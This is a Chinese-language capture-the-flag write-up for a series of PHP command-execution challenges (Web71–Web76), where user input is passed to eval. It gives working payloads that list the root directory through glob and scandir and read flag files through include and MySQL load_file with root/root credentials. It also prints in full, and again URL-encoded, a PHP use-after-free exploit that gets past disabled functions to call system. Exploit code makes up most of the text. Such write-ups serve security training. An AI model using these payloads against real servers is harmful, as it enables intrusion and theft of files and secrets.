// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>

​ 有几个点需要注意:

1
2
$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容

​ 也就是说,这里需要在执行上面两个函数之前,把程序输出出来就行了,这个时候,就可以选择提前结束掉整个程序,因为缓冲区就是在程序结束之前需要将里面的所有内容全部输出才行:

1
2
3
c=var_export(scandir('/'));exit();

#array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

​ 之后就

1
c=include("/flag.txt");exit();

Web72:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

​ scandir被禁了,这里没什么思路,不过,这里有大佬通过glob伪协议读取了根目录文件名:

1
2
3
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flag0.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

​ 通过include读取文件的时候发现没有权限,先列一些读取文件的函数吧:

1
2
3
readfile($filename);
$file = fopen("example.txt", "r");$content = fread($file, filesize("example.txt"));fclose($file);
$fileContents = file_get_contents("example.txt");

​ 之后就是利用uaf脚本进行命令执行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
c=?><?php
pwn("ls /;cat /flag0.txt");

function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

​ 直接贴一个payload:

1
c=%3f%3e%3c%3fphp%0apwn(%22ls+%2f%3bcat+%2fflag0.txt%22)%3b%0a%0afunction+pwn(%24cmd)+%7b%0a++++global+%24abc%2c+%24helper%2c+%24backtrace%3b%0a++++class+Vuln+%7b%0a++++++++public+%24a%3b%0a++++++++public+function+__destruct()+%7b+%0a++++++++++++global+%24backtrace%3b+%0a++++++++++++unset(%24this-%3ea)%3b%0a++++++++++++%24backtrace+%3d+(new+Exception)-%3egetTrace()%3b+%23+%3b)%0a++++++++++++if(!isset(%24backtrace%5b1%5d%5b%27args%27%5d))+%7b+%23+PHP+%3e%3d+7.4%0a++++++++++++++++%24backtrace+%3d+debug_backtrace()%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++class+Helper+%7b%0a++++++++public+%24a%2c+%24b%2c+%24c%2c+%24d%3b%0a++++%7d%0a%0a++++function+str2ptr(%26%24str%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++%24address+%3d+0%3b%0a++++++++for(%24j+%3d+%24s-1%3b+%24j+%3e%3d+0%3b+%24j--)+%7b%0a++++++++++++%24address+%3c%3c%3d+8%3b%0a++++++++++++%24address+%7c%3d+ord(%24str%5b%24p%2b%24j%5d)%3b%0a++++++++%7d%0a++++++++return+%24address%3b%0a++++%7d%0a%0a++++function+ptr2str(%24ptr%2c+%24m+%3d+8)+%7b%0a++++++++%24out+%3d+%22%22%3b%0a++++++++for+(%24i%3d0%3b+%24i+%3c+%24m%3b+%24i%2b%2b)+%7b%0a++++++++++++%24out+.%3d+sprintf(%27%25c%27%2c%24ptr+%26+0xff)%3b%0a++++++++++++%24ptr+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++++++return+%24out%3b%0a++++%7d%0a%0a++++function+write(%26%24str%2c+%24p%2c+%24v%2c+%24n+%3d+8)+%7b%0a++++++++%24i+%3d+0%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24n%3b+%24i%2b%2b)+%7b%0a++++++++++++%24str%5b%24p+%2b+%24i%5d+%3d+sprintf(%27%25c%27%2c%24v+%26+0xff)%3b%0a++++++++++++%24v+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+leak(%24addr%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++global+%24abc%2c+%24helper%3b%0a++++++++write(%24abc%2c+0x68%2c+%24addr+%2b+%24p+-+0x10)%3b%0a++++++++%24leak+%3d+strlen(%24helper-%3ea)%3b%0a++++++++if(%24s+!%3d+8)+%7b+%24leak+%25%3d+2+%3c%3c+(%24s+*+8)+-+1%3b+%7d%0a++++++++return+%24leak%3b%0a++++%7d%0a%0a++++function+parse_elf(%24base)+%7b%0a++++++++%24e_type+%3d+leak(%24base%2c+0x10%2c+2)%3b%0a%0a++++++++%24e_phoff+%3d+leak(%24base%2c+0x20)%3b%0a++++++++%24e_phentsize+%3d+leak(%24base%2c+0x36%2c+2)%3b%0a++++++++%24e_phnum+%3d+leak(%24base%2c+0x38%2c+2)%3b%0a%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24e_phnum%3b+%24i%2b%2b)+%7b%0a++++++++++++%24header+%3d+%24base+%2b+%24e_phoff+%2b+%24i+*+%24e_phentsize%3b%0a++++++++++++%24p_type++%3d+leak(%24header%2c+0%2c+4)%3b%0a++++++++++++%24p_flags+%3d+leak(%24header%2c+4%2c+4)%3b%0a++++++++++++%24p_vaddr+%3d+leak(%24header%2c+0x10)%3b%0a++++++++++++%24p_memsz+%3d+leak(%24header%2c+0x28)%3b%0a%0a++++++++++++if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+6)+%7b+%23+PT_LOAD%2c+PF_Read_Write%0a++++++++++++++++%23+handle+pie%0a++++++++++++++++%24data_addr+%3d+%24e_type+%3d%3d+2+%3f+%24p_vaddr+%3a+%24base+%2b+%24p_vaddr%3b%0a++++++++++++++++%24data_size+%3d+%24p_memsz%3b%0a++++++++++++%7d+else+if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+5)+%7b+%23+PT_LOAD%2c+PF_Read_exec%0a++++++++++++++++%24text_size+%3d+%24p_memsz%3b%0a++++++++++++%7d%0a++++++++%7d%0a%0a++++++++if(!%24data_addr+%7c%7c+!%24text_size+%7c%7c+!%24data_size)%0a++++++++++++return+false%3b%0a%0a++++++++return+%5b%24data_addr%2c+%24text_size%2c+%24data_size%5d%3b%0a++++%7d%0a%0a++++function+get_basic_funcs(%24base%2c+%24elf)+%7b%0a++++++++list(%24data_addr%2c+%24text_size%2c+%24data_size)+%3d+%24elf%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24data_size+%2f+8%3b+%24i%2b%2b)+%7b%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+%24i+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27constant%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x746e6174736e6f63)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+(%24i+%2b+4)+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27bin2hex%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x786568326e6962)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++return+%24data_addr+%2b+%24i+*+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_binary_base(%24binary_leak)+%7b%0a++++++++%24base+%3d+0%3b%0a++++++++%24start+%3d+%24binary_leak+%26+0xfffffffffffff000%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+0x1000%3b+%24i%2b%2b)+%7b%0a++++++++++++%24addr+%3d+%24start+-+0x1000+*+%24i%3b%0a++++++++++++%24leak+%3d+leak(%24addr%2c+0%2c+7)%3b%0a++++++++++++if(%24leak+%3d%3d+0x10102464c457f)+%7b+%23+ELF+header%0a++++++++++++++++return+%24addr%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_system(%24basic_funcs)+%7b%0a++++++++%24addr+%3d+%24basic_funcs%3b%0a++++++++do+%7b%0a++++++++++++%24f_entry+%3d+leak(%24addr)%3b%0a++++++++++++%24f_name+%3d+leak(%24f_entry%2c+0%2c+6)%3b%0a%0a++++++++++++if(%24f_name+%3d%3d+0x6d6574737973)+%7b+%23+system%0a++++++++++++++++return+leak(%24addr+%2b+8)%3b%0a++++++++++++%7d%0a++++++++++++%24addr+%2b%3d+0x20%3b%0a++++++++%7d+while(%24f_entry+!%3d+0)%3b%0a++++++++return+false%3b%0a++++%7d%0a%0a++++function+trigger_uaf(%24arg)+%7b%0a++++++++%23+str_shuffle+prevents+opcache+string+interning%0a++++++++%24arg+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a++++++++%24vuln+%3d+new+Vuln()%3b%0a++++++++%24vuln-%3ea+%3d+%24arg%3b%0a++++%7d%0a%0a++++if(stristr(PHP_OS%2c+%27WIN%27))+%7b%0a++++++++die(%27This+PoC+is+for+*nix+systems+only.%27)%3b%0a++++%7d%0a%0a++++%24n_alloc+%3d+10%3b+%23+increase+this+value+if+UAF+fails%0a++++%24contiguous+%3d+%5b%5d%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+%24n_alloc%3b+%24i%2b%2b)%0a++++++++%24contiguous%5b%5d+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a%0a++++trigger_uaf(%27x%27)%3b%0a++++%24abc+%3d+%24backtrace%5b1%5d%5b%27args%27%5d%5b0%5d%3b%0a%0a++++%24helper+%3d+new+Helper%3b%0a++++%24helper-%3eb+%3d+function+(%24x)+%7b+%7d%3b%0a%0a++++if(strlen(%24abc)+%3d%3d+79+%7c%7c+strlen(%24abc)+%3d%3d+0)+%7b%0a++++++++die(%22UAF+failed%22)%3b%0a++++%7d%0a%0a++++%23+leaks%0a++++%24closure_handlers+%3d+str2ptr(%24abc%2c+0)%3b%0a++++%24php_heap+%3d+str2ptr(%24abc%2c+0x58)%3b%0a++++%24abc_addr+%3d+%24php_heap+-+0xc8%3b%0a%0a++++%23+fake+value%0a++++write(%24abc%2c+0x60%2c+2)%3b%0a++++write(%24abc%2c+0x70%2c+6)%3b%0a%0a++++%23+fake+reference%0a++++write(%24abc%2c+0x10%2c+%24abc_addr+%2b+0x60)%3b%0a++++write(%24abc%2c+0x18%2c+0xa)%3b%0a%0a++++%24closure_obj+%3d+str2ptr(%24abc%2c+0x20)%3b%0a%0a++++%24binary_leak+%3d+leak(%24closure_handlers%2c+8)%3b%0a++++if(!(%24base+%3d+get_binary_base(%24binary_leak)))+%7b%0a++++++++die(%22Couldn%27t+determine+binary+base+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24elf+%3d+parse_elf(%24base)))+%7b%0a++++++++die(%22Couldn%27t+parse+ELF+header%22)%3b%0a++++%7d%0a%0a++++if(!(%24basic_funcs+%3d+get_basic_funcs(%24base%2c+%24elf)))+%7b%0a++++++++die(%22Couldn%27t+get+basic_functions+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24zif_system+%3d+get_system(%24basic_funcs)))+%7b%0a++++++++die(%22Couldn%27t+get+zif_system+address%22)%3b%0a++++%7d%0a%0a++++%23+fake+closure+object%0a++++%24fake_obj_offset+%3d+0xd0%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+0x110%3b+%24i+%2b%3d+8)+%7b%0a++++++++write(%24abc%2c+%24fake_obj_offset+%2b+%24i%2c+leak(%24closure_obj%2c+%24i))%3b%0a++++%7d%0a%0a++++%23+pwn%0a++++write(%24abc%2c+0x20%2c+%24abc_addr+%2b+%24fake_obj_offset)%3b%0a++++write(%24abc%2c+0xd0+%2b+0x38%2c+1%2c+4)%3b+%23+internal+func+type%0a++++write(%24abc%2c+0xd0+%2b+0x68%2c+%24zif_system)%3b+%23+internal+func+handler%0a%0a++++(%24helper-%3eb)(%24cmd)%3b%0a++++exit()%3b%0a%7d

Web73:

​ 又是,没源码,那就glob遍历文件目录吧,当然var_export也可以做到这里没有被ban:

1
2
3
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flagc.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

​ 突然发现include读取文件又可以了,直接读:

1
c=indlude("/flagc.txt");exit();

Web74:

​ 这一题ban了scandir,那就直接glob绕过:

1
2
3
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flagx.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

​ 之后include去读。

Web75:

​ glob读根目录结构:

1
2
3
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flag36.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

​ 多次测试,发现无法读取文件,可以试着利用mysql去读取文件:

1
2
3
4
5
6
7
8
9
10
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
};exit();

​ 简单解释一下这个payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
try {
// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');

// 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
// 输出读取到的内容,并追加一个竖线(|)
echo($row[0])."|";
}

// 将数据库连接对象设置为null,关闭连接
$dbh = null;
} catch (PDOException $e) {
// 如果发生PDO异常,输出错误信息
echo $e->getMessage();
// 终止脚本执行
die();
}

// 终止脚本执行
exit();

Web76:

​ 还是glob读文件:

1
2
3
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flag36d.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

​ 还是老样子,MySQL读文件一把梭:

1
2
3
4
5
6
7
8
9
10
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
};exit();

一些总结文章:

总结rce(远程代码执行各种sao姿势)绕过bypass